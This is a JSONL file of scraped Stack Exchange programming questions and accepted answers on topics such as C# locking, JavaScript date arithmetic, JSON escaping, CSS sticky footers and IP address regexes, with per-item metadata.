{"id": "hf_6416a2c81378", "question": "<p>I have a method in my Python code that returns a tuple - a row from a SQL query. Let's say it has three fields: (jobId, label, username)</p>\n\n<p>For ease of passing it around between functions, I've been passing the entire tuple as a variable called 'job'. Eventually, however, I want to get at the bits, so I've been using code like this:\n(jobId, label, username) = job</p>\n\n<p>I've realised, however, that this is a maintenance nightmare, because now I can never add new fields to the result set without breaking all of my existing code. How should I have written this?</p>\n\n<p>Here are my two best guesses:\n(jobId, label, username) = (job[0], job[1], job[2])\n...but that doesn't scale nicely when you have 15...20 fields</p>\n\n<p>or to convert the results from the SQL query to a dictionary straight away and pass that around (I don't have control over the fact that it starts life as a tuple, that's fixed for me)</p>\n", "question_body": "", "answer": "I'd say that a dictionary is definitely the best way to do it.  It's easily extensible, allows you to give each value a sensible name, and Python has a lot of built-in language features for using and manipulating dictionaries.  If you need to add more fields later, all you need to change is the code that converts the tuple to a dictionary and the code that actually makes use of the new values.\nFor example:\n```\n```\njob={}\njob['jobid'], job['label'], job['username']=<querycode>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.603853"}
{"id": "hf_bec2c35dc01d", "question": "<p>As someone with some winforms and client applications experience - is it worth going back and learning the way traditional ASP .NET pages work, or is it okay with moving straight into ASP .NET MVC?</p>\n\n<p>I'm kind of looking for pitfalls or traps in my knowledge of general C#, that I won't know from the screencast series and things on the ASP .NET site.</p>\n", "question_body": "", "answer": "Here is the great thing about MVC. It works closer to the base of the framework than normal ASP.NET Web Forms. So by using MVC and understanding it, you will have a better understanding of how WebForms work. The problem with WebForms is there is a lot of magic and about 6 years of trying to make the Web work like Windows Forms, so you have the control tree hierarchy and everything translated to the Web. With MVC you get the core with out the WinForm influence.\nSo start with MVC, and you will easily be able to move in to WebForms if needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.626961"}
{"id": "hf_e4a633341481", "question": "<p>I'm hearing more and more about domain specific languages being thrown about and how they change the way you treat business logic, and I've seen <a href=\"http://ayende.com/blog/tags/domain-specific-languages\" rel=\"noreferrer\">Ayende's blog posts</a> and things, but I've never really gotten exactly why I would take my business logic away from the methods and situations I'm using in my provider.</p>\n\n<p>If you've got some background using these things, any chance you could put it in real laymans terms:</p>\n\n<ul>\n<li>What exactly building DSLs means?</li>\n<li>What languages are you using?</li>\n<li>Where using a DSL makes sense?</li>\n<li>What is the benefit of using DSLs?</li>\n</ul>\n", "question_body": "", "answer": "DSL\nstands for\nDomain Specific Language\ni.e. language designed specifically for solving problems in given area.\nFor example, Markdown (markup language used to edit posts on SO) can be considered as a DSL.\nPersonally I find a place for DSL almost in every large project I'm working on. Most often I need some kind of SQL-like query language. Another common usage is rule-based systems, you need some kind of language to specify rules\\conditions.\nDSL makes sense in context where it's difficult to describe\\solve problem by traditional means.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.673278"}
{"id": "hf_0b241fc0966a", "question": "<p>What is the best way to calculate Age using Flex?</p>\n", "question_body": "", "answer": "I found an answer at\nthe bottom of this page in comments section (which is now offline)\n.\njpwrunyan said on Apr 30, 2007 at 10:10 PM :\nBy the way, here is how to calculate age in years (only) from DOB without needing to account for leap years:\nWith a slight correction by\nFine-Wei Lin\n, the code reads\n```\n```\nprivate function getYearsOld(dob:Date):uint {  \n    var now:Date = new Date();  \n    var yearsOld:uint = Number(now.fullYear) - Number(dob.fullYear);  \n    if (dob.month > now.month || (dob.month == now.month && dob.date > now.date)) \n    {\n       yearsOld--;\n    }\n    return yearsOld;  \n}\n```\n```\nThis handles most situations where you need to calculate age.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.708154"}
{"id": "hf_90cffe5b1de0", "question": "<p>I am re-factoring some code and am wondering about the use of a <code>lock</code> in the instance constructor.</p>\n\n<pre><code>public class MyClass {\n\n    private static Int32 counter = 0;\n    private Int32 myCount;\n\n    public MyClass() {\n\n        lock(this) {\n            counter++;\n            myCount = counter;\n        }\n    }\n}\n</code></pre>\n\n<p>Please confirm</p>\n\n<ol>\n<li>Instance constructors are thread-safe.</li>\n<li>The lock statement prevents access to that code block, not to the static 'counter' member.</li>\n</ol>\n\n<p>If the intent of the original programmer were to have each instance know its 'count', how would I synchronize access to the 'counter' member to ensure that another thread isn't new'ing a <code>MyClass</code> and changing the count before this one sets its count?</p>\n\n<p><em>FYI - This class is not a singleton. Instances must simply be aware of their number.</em></p>\n", "question_body": "", "answer": "I'm guessing this is for a singleton pattern or something like it. What you want to do is not lock your object, but lock the counter while your are modifying it.\n```\n```\nprivate static int counter = 0;\nprivate static object counterLock = new Object();\n\nlock(counterLock) {\n    counter++;\n    myCounter = counter;\n}\n```\n```\nBecause your current code is sort of redundant. Especially being in the constructor where there is only one thread that can call a constructor, unlike with methods where it could be shared across threads and be accessed from any thread that is shared.\nFrom the little I can tell from you code, you are trying to give the object the current count at the time of it being created. So with the above code the counter will be locked while the counter is updated and set locally. So all other constructors will have to wait for the counter to be released.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.769816"}
{"id": "hf_3a4c6cc141d8", "question": "<p>I'm using Microsoft AjaxControlToolkit for modal popup window.</p>\n\n<p>And on a modal popup window, when a postback occurred, the window was closing. How do I prevent from the closing action of the modal popup?</p>\n", "question_body": "", "answer": "You can call\n```\nShow()\n```\nmethod during postback to prevent the modal popup window from closing\n```\n```\nMyModalPopoupExtender.Show()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.804783"}
{"id": "hf_ffe33e9ec321", "question": "<p>When should I include PDB files for a production release? Should I use the <code>Optimize code</code> flag and how would that affect the information I get from an exception?</p>\n\n<p>If there is a noticeable performance benefit I would want to use the optimizations but if not I'd rather have accurate debugging info. What is typically done for a production app?</p>\n", "question_body": "", "answer": "When you want to see source filenames and line numbers in your stacktraces, generate PDBs using the pdb-only option. Optimization is separate from PDB generation, i.e. you can optimize\nand\ngenerate PDBs without a performance hit.\nFrom\nthe C# Language Reference\nIf you use /debug:full, be aware that there is some impact on the speed and size of JIT optimized code and a small impact on code quality with /debug:full. We recommend /debug:pdbonly or no PDB for generating release code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.873834"}
{"id": "hf_63101f30d233", "question": "<p>I'm about to start testing an intranet web application. Specifically, I've to determine the application's performance.</p>\n\n<p>Please could someone suggest formal/informal standards for how I can judge the application's performance.</p>\n", "question_body": "", "answer": "To test the front-end then YSlow is great for getting statistics for how long your pages take to load from a user perspective. It breaks down into stats for each specfic HTTP request, the time it took, etc. Get it at\nhttp://developer.yahoo.com/yslow/\nFirebug, of course, also is essential. You can profile your JS explicitly or in real time by hitting the profile button. Making optimisations where necessary and seeing how long all your functions take to run. This changed the way I measure the performance of my JS code.\nhttp://getfirebug.com/js.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.897287"}
{"id": "hf_918ae9508ff5", "question": "<p>I am using the <code>ODBC</code> connector to access a MySQL db from Visual Studio 2008 and I'm facing performance problems when dealing with crystal reports and to solve this I need a native connector to visual studio. If someone has had a similar problem and knows a solution or tools (freeware preferable), I would be really grateful.</p>\n", "question_body": "", "answer": "You want\nConnector/Net\nUpdate:\nThis link should take you to a more recent version:\nhttp://dev.mysql.com/downloads/connector/net/5.2.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.932387"}
{"id": "hf_a3dbfb862066", "question": "<p>Is there a way to find the name of the program that is running in Java? The class of the main method would be good enough.</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nStackTraceElement[] stack = Thread.currentThread ().getStackTrace ();\n    StackTraceElement main = stack[stack.length - 1];\n    String mainClass = main.getClassName ();\n```\n```\nOf course, this only works if you're running from the main thread.  Unfortunately I don't think there's a system property you can query to find this out.\nEdit:\nPulling in @John Meagher's comment, which is a great idea:\nTo expand on @jodonnell you can also\n  get all stack traces in the system\n  using Thread.getAllStackTraces(). From\n  this you can search all the stack\n  traces for the \"main\" Thread to\n  determine what the main class is. This\n  will work even if your class is not\n  running in the main thread.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.955849"}
{"id": "hf_ebe344355a01", "question": "<p>I'm a software engineer, not a lawyer, and my university doesn't offer any courses geared toward licensing software. In fact, their law-related courses are lacking (but slowly growing in number). Where can I go to learn about open-source licenses and how to choose them?</p>\n", "question_body": "", "answer": "There are lots described here:\nhttp://www.gnu.org/licenses/license-list.html#SoftwareLicenses\nThe decision of which one to use can be political, but should ultimately be determined by your plans/desires for the software. If you want to ensure it is always free then choose GPL or another \"Copyleft\" license.  If you don't mind some commercial use, choose another one that's compatible with that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:32.979209"}
{"id": "hf_8ddc57e215c6", "question": "<p>I'm creating an application which lets you define events with a time frame.  I want to automatically fill in the end date when the user selects or changes the start date.  I can't quite figure out, however, how to get the difference between the two times, and then how to create a new end Date using that difference.</p>\n", "question_body": "", "answer": "In JavaScript, dates can be transformed to the number of milliseconds since the epoc by calling the\n```\ngetTime()\n```\nmethod\nor\njust using the date in a numeric expression.\nSo to get the difference, just subtract the two dates.\nTo create a new date based on the difference, just pass the number of milliseconds in the constructor.\n```\n```\nvar oldBegin = ...\nvar oldEnd = ...\nvar newBegin = ...\n\nvar newEnd = new Date(newBegin + oldEnd - oldBegin);\n```\n```\nThis should just work\nEDIT\n: Fixed bug pointed by @bdukes\nEDIT\n:\nFor an explanation of the behavior,\n```\noldBegin\n```\n,\n```\noldEnd\n```\n, and\n```\nnewBegin\n```\nare\n```\nDate\n```\ninstances. Calling operators\n```\n+\n```\nand\n```\n-\n```\nwill trigger Javascript auto casting and will automatically call the\n```\nvalueOf()\n```\nprototype method of those objects. It happens that the\n```\nvalueOf()\n```\nmethod is implemented in the\n```\nDate\n```\nobject as a call to\n```\ngetTime()\n```\n.\nSo basically:\n```\ndate.getTime() === date.valueOf() === (0 + date) === (+date)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.061207"}
{"id": "hf_5c9a24f2f094", "question": "<p>What is the fastest method of parsing an XML file in C#? I'm using .Net 2.0 </p>\n", "question_body": "", "answer": "If you're using .Net 2 then the XmlReader and XmlDocument are about it.\nIf you can use .Net 3.5 then the new Linq to Xml methods are a big improvement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.143828"}
{"id": "hf_b29e43032055", "question": "<p>As per <a href=\"https://stackoverflow.com/questions/41970/lightweight-fuzzy-search-library#41975\">this</a> comment in a related thread, I'd like to know why Levenshtein distance based methods are better than Soundex.</p>\n", "question_body": "", "answer": "Soundex is rather primitive - it was originally developed to be hand calculated. It results in a key that can be compared.\nSoundex works well with western names, as it was originally developed for US census data. It's intended for phonetic comparison.\nLevenshtein distance looks at two values and produces a value based on their similarity. It's looking for missing or substituted letters.\nBasically Soundex is better for finding that \"Schmidt\" and \"Smith\" might be the same surname.\nLevenshtein distance is better for spotting that the user has mistyped \"Levnshtein\" ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.180680"}
{"id": "hf_ed9426211bb2", "question": "<p>I am looking for simple straightforward solution for accessing EXIF information of jpeg images in .Net.  Does anybody has experience with this?</p>\n", "question_body": "", "answer": "I like\nAtalasoft's DotImage Photo\n, but its a closed source solution and costs about 600 per dev license.\nYou can also check out\nDTools at Codeplex\n, which is an open source framework designed to supplement the standard Fx.  It includes some Exif related classes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.216530"}
{"id": "hf_3d90932fc9b3", "question": "<p>I've generated some JSON and I'm trying to pull it into an object in JavaScript. I keep getting errors. Here's what I have:</p>\n\n<pre><code>var data = '{\"count\" : 1, \"stack\" : \"sometext\\n\\n\"}';\nvar dataObj = eval('('+data+')');\n</code></pre>\n\n<p>This gives me an error: </p>\n\n<pre><code>unterminated string literal\n</code></pre>\n\n<p>With <code>JSON.parse(data)</code>, I see similar error messages: \"<code>Unexpected token ↵</code>\" in Chrome, and \"<code>unterminated string literal</code>\" in Firefox and IE.</p>\n\n<p>When I take out the <code>\\n</code> after <code>sometext</code> the error goes away in both cases. I can't seem to figure out why the <code>\\n</code> makes <code>eval</code> and <code>JSON.parse</code> fail.  </p>\n", "question_body": "", "answer": "This is what you want:\n```\n```\nvar data = '{\"count\" : 1, \"stack\" : \"sometext\\\\n\\\\n\"}';\n```\n```\nYou need to escape the\n```\n\\\n```\nin your string (turning it into a double-\n```\n\\\n```\n), otherwise it will become a newline in the JSON source, not the JSON data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.270981"}
{"id": "hf_f38f72e360e7", "question": "<p>Following my question regarding a <a href=\"https://stackoverflow.com/questions/42071/net-yaml-library\">.NET YAML Library</a>... as there doesn't seem to be great support for YAML in .NET, are there and good open source <em>really simple</em> .NET XML libraries.  I just want something where I can pass it a section name and a key and it gives me the value as well as being able to give me a list of all the current sections and keys.</p>\n\n<p>Also, preferably something with a license that allows it to be used commercially.</p>\n", "question_body": "", "answer": "Can you use the 3.5 framework? Linq to XML is fantastic, and simple.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.356397"}
{"id": "hf_15d755cd2005", "question": "<p>I have a library I created,</p>\n<h3>File <em>mylib.c:</em></h3>\n<pre><code>#include &lt;mylib.h&gt;\n\nint\ntestlib() {\n    printf(&quot;Hello, World!\\n&quot;);\n    return (0);\n}\n</code></pre>\n<h3>File <em>mylib.h:</em></h3>\n<pre><code>#include &lt;stdio.h&gt;\nextern int testlib();\n</code></pre>\n<p>In my program, I've attempted to call this library function:</p>\n<h3>File <em>myprogram.c</em>:</h3>\n<pre><code>#include &lt;mylib.h&gt;\n\nint\nmain (int argc, char *argv[]) {\n    testlib();\n    return (0);\n}\n</code></pre>\n<p>When I attempt to compile this program I get the following error:</p>\n<pre>In file included from myprogram.c:1\nmylib.h:2 warning: function declaration isn't a prototype</pre>\n<p>I'm using: <code>gcc (GCC) 3.4.5 20051201 (Red Hat 3.4.5-2)</code></p>\n<p>What is the proper way to declare a function prototype?</p>\n", "question_body": "", "answer": "Try:\n```\n```\nextern int testlib(void);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.380082"}
{"id": "hf_3f746e4f5446", "question": "<p>.NET Framework: 2.0\nPreferred Language: C#</p>\n\n<p>I am new to TDD (Test Driven Development).</p>\n\n<p>First of all, is it even possible to unit test Windows Service?</p>\n\n<p>Windows service class is derived from ServiceBase, which has overridable methods, </p>\n\n<ol>\n<li>OnStart </li>\n<li>OnStop</li>\n</ol>\n\n<p>How can I trigger those methods to be called as if unit test is an actual service that calls those methods in proper order?</p>\n\n<p>At this point, am I even doing a Unit testing? or an Integration test?</p>\n\n<p>I have looked at WCF service question but it didn't make any sense to me since I have never dealt with WCF service.</p>\n", "question_body": "", "answer": "I would start\nhere\n.  It shows how to start and stop services in C#\nA sample to start is is\n```\n```\npublic static void StartService(string serviceName, int timeoutMilliseconds)\n{\n  ServiceController service = new ServiceController(serviceName);\n  try\n  {\n    TimeSpan timeout = TimeSpan.FromMilliseconds(timeoutMilliseconds);\n\n    service.Start();\n    service.WaitForStatus(ServiceControllerStatus.Running, timeout);\n  }\n  catch\n  {\n    // ...\n  }\n}\n```\n```\nI have also tested services mostly through console app, simulating what the service would do.  That way my unit test is completely automated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.438197"}
{"id": "hf_8faf81a84146", "question": "<p>The company I work for makes hardware that communicates to the computer though a serial port. Third party companies write software that communicates with our hardware. </p>\n\n<p>There are times when I need to diagnose our hardware. However, a third party software app connects to the serial port when Windows starts up, blocking any other connection. I don't know the name of this application/service and it's not always the same one.</p>\n\n<p>Is there any way to either:</p>\n\n<ul>\n<li>Find the name/pid of the app/service that is currently using a given serial port or</li>\n<li>Steal the serial port connection from another app.</li>\n</ul>\n\n<p>vb.net preferably, but I'll take a language agnostic answer as well.</p>\n", "question_body": "", "answer": "Sysinternals\nhas a slew of utilities I find very useful and educational for tracking down what processes are doing to the system.\nThey have a utility that does exactly what you need called\nPortmon\n, and give some information on how it works near the bottom of the page.  That info and a few well-asked questions will probably give you everything you need to implement it yourself if the utility isn't enough.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.521089"}
{"id": "hf_b359b53dfe90", "question": "<p>I'm looking to use SQL to format a number with commas in the thousands, but no decimal (so can't use Money) - any suggestions?</p>\n\n<p>I'm using SQL Server 2005, but feel free to answer for others as well (like MySQL)</p>\n", "question_body": "", "answer": "In MySQL, the\n```\nFORMAT()\n```\nfunction will do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.569851"}
{"id": "hf_01e6e5346edf", "question": "<p>We're doing an \"Amazing Race\" kind of event, and thought it would be cool to have CDs that could only play once... like a \"this message will self destruct in 5 seconds...\" </p>\n\n<p>Any thoughts on how to do this?  I was thinking it could be a compiled HTML website that would write a cookie and only play once.  I don't want to write to the registry (don't want to depend on windows, don't want to install anything, etc).</p>\n\n<p>I also don't care if it's hackable... This is a one-time fun event, and I don't really care too much if people could remove the cookie or something.</p>\n\n<p>Any other ideas?</p>\n", "question_body": "", "answer": "If the content is HTML and run inside a normal browser window, then a cookie may work but there are caveats:\nUser runs the CD once when IE is the default browser. User runs at a later time, when Firefox is the default browser so cookie cannot be checked.\nThe browser's security settings may be locked down to prevent use of script so the cookie cannot be set (more of an IE problem).\nAn alternative might be Flash's equivalent of cookies, but if script was locked down then the same may be true for Flash.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.616823"}
{"id": "hf_5cb2825d6ecf", "question": "<p>The following code illustrates an object literal being assigned, but with no semicolon afterwards:</p>\n\n<pre><code>var literal = {\n    say: function(msg) { alert(msg); }\n}\nliteral.say(\"hello world!\");\n</code></pre>\n\n<p>This appears to be legal, and doesn't issue a warning (at least in Firefox&nbsp;3). Is this completely legal, or is there a strict version of JavaScript where this is not allowed?</p>\n\n<p>I'm wondering in particular for future compatibility issues... I would like to be writing \"correct\" JavaScript, so if technically I need to use the semicolon, I would like to be using it.</p>\n", "question_body": "", "answer": "Not technically, JavaScript has semicolons as optional in many situations.\nBut, as a general rule, use them at the end of any statement. Why? Because if you ever want to compress the script, it will save you from countless hours of frustration.\nAutomatic semicolon insertion is performed by the interpreter, so you\ncan\nleave them out if you so choose. In the comments, someone claimed that\nSemicolons are not optional with statements like break/continue/throw\nbut this is incorrect. They are optional; what is really happening is that line terminators affect the automatic semicolon insertion; it is a subtle difference.\nHere is the rest of the standard on semicolon insertion:\nFor convenience, however, such semicolons may be omitted from the source text in certain situations. These situations are described by saying that semicolons are automatically inserted into the source code token stream in those situations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.651921"}
{"id": "hf_28fba6ed1b2a", "question": "<p>I would like to flash a success message on my page.</p>\n\n<p>I am using the jQuery <code>fadeOut</code> method to fade and then remove the element. I can increase the duration to make it last longer, however this looks strange.</p>\n\n<p>What I would like to happen is have the element be displayed for five seconds, then fade quickly, and finally be removed.</p>\n\n<p>How can you animate this using jQuery? </p>\n", "question_body": "", "answer": "use\n```\nsetTimeout(function(){$elem.hide();}, 5000);\n```\nWhere\n```\n$elem\n```\nis the element you wish to hide, and\n```\n5000\n```\nis the delay in milliseconds. You can actually use any function within the call to\n```\nsetTimeout()\n```\n, that code just defines a small anonymous function for simplicity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.686717"}
{"id": "hf_16d07f7a7788", "question": "<p>It seems that IE6 ignores any form of cache invalidation sent via http headers, I've tried setting Pragma to No Cache and setting Cache Expiration to the current time, yet in IE6, hitting back will always pull up a cached version of a page I am working on.</p>\n\n<p>Is there a specific HTTP Header that IE6 does listen too?</p>\n", "question_body": "", "answer": "Have you tried setting an ETag in the header?  They're a pretty reliable way to indicate that content has changed\nw3c Spec\n&\nWikipedia\nBeyond that, a little more crude way is to append a random query string parameter to the request, such as the current unix timestamp.  As I said, crude, but then IE6 is not the most subtle of beasts", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.713356"}
{"id": "hf_5509d3633984", "question": "<p>I have a simple 2-column layout with a footer that clears both the right and left div in my markup.  My problem is that I can't get the footer to stay at the bottom of the page in all browsers.  It works if the content pushes the footer down, but that's not always the case. </p>\n", "question_body": "", "answer": "To get a sticky footer:\nHave a\n```\n<div>\n```\nwith\n```\nclass=\"wrapper\"\n```\nfor your content.\nRight\nbefore\nthe closing\n```\n</div>\n```\nof the\n```\nwrapper\n```\nplace the\n```\n<div class=\"push\"></div>\n```\n.\nRight\nafter\nthe closing\n```\n</div>\n```\nof the\n```\nwrapper\n```\nplace the\n```\n<div class=\"footer\"></div>\n```\n.\n```\n```\n* {\n    margin: 0;\n}\nhtml, body {\n    height: 100%;\n}\n.wrapper {\n    min-height: 100%;\n    height: auto !important;\n    height: 100%;\n    margin: 0 auto -142px; /* the bottom margin is the negative value of the footer's height */\n}\n.footer, .push {\n    height: 142px; /* .push must be the same height as .footer */\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.760808"}
{"id": "hf_da6ef22526ea", "question": "<p>Any good suggestions? Input will be the name of a header file and output should be a list (preferably a tree) of all files including it directly or indirectly.</p>\n", "question_body": "", "answer": "For a heavy weight solution, you should check out\ndoxygen\n.  It scans through your code base and comes up with a website, effectively, that documents your code.  One of the many things it shows is include trees.\nIf you were looking to be able to plug the output of this tool into some other process, then this may not work for you (although doxygen does output to other formats, I'm not real familiar with that feature).  If you simply want to eyeball the dependencies, though, it should work great.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.784848"}
{"id": "hf_db0d37db8fbc", "question": "<p>I have the next function:</p>\n\n<pre><code>function setImagesWidth(id,width) {\n    var images = document.getElementById(id).getElementsByTagName(\"img\");\n    for(var i = 0; i &lt; images.length;i++) {\n        // If the real width is bigger than width parameter\n            images[i].style.width=width;    \n        //}         \n    }       \n}\n</code></pre>\n\n<p>I would like to set the css width attribute of all my img tags to a particular value only when the image real width is bigger than the attribute value. If it is possible, i would like a solution which does not use any particular framework. </p>\n\n<hr>\n\n<p><code>images[i].offsetWidth</code> returns 111 for an image of 109px width. Is this because 1px each side border? </p>\n", "question_body": "", "answer": "Here is, hopefully, enough sample code to give you what you want:\n```\n```\nvar myImage = document.getElementById(\"myImagesId\");\nvar imageWidth = myImage.offsetWidth;\nvar imageHeight = myImage.offsetHeight;\n```\n```\nThat should give you the numbers you need to derive the solution you want. I think you can write the rest of the code yourself. :)\nEDIT: Here, I couldn't help myself - is this what you are after?\n```\n```\nfunction setImagesWidth(id,width) {\n   var images = document.getElementById(id).getElementsByTagName(\"img\");\n   for(var i = 0; i < images.length;i++) {\n      if(images[i].offsetWidth > width) {\n         images[i].style.width= (width + \"px\");\n      }\n   }           \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.811595"}
{"id": "hf_3a6eb62964a4", "question": "<p>Sometimes IE6 will render the text of a <code>&lt;ul&gt;</code> list the same color as the background color. If you select it, they show back up, or if you scroll the page up and back down.</p>\n\n<p>It is obviously a rendering bug, but I was wondering if anyone knows of a workaround to make it reliable?</p>\n", "question_body": "", "answer": "Have you tried explicitly setting a line-height? For some reason this seems to be the solution to a great many IE6 rendering bugs!\ne.g.\n```\n```\n.mylist {\n    line-height: 1.6em;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.846357"}
{"id": "hf_8fd8273d4cf9", "question": "<p>How can I determine if a string is an IP address? Either <em>IPv4</em> or <em>IPv6</em>?</p>\n\n<p>What is the least and most number of characters?</p>\n\n<p>I assume this would be a <strong>regex</strong> answer.</p>\n", "question_body": "", "answer": "For IPv4 you can use this regular expression.\n```\n```\n\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b\n```\n```\nIt looks quite complex but it works by limiting each quad to the numbers 0-255.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.869445"}
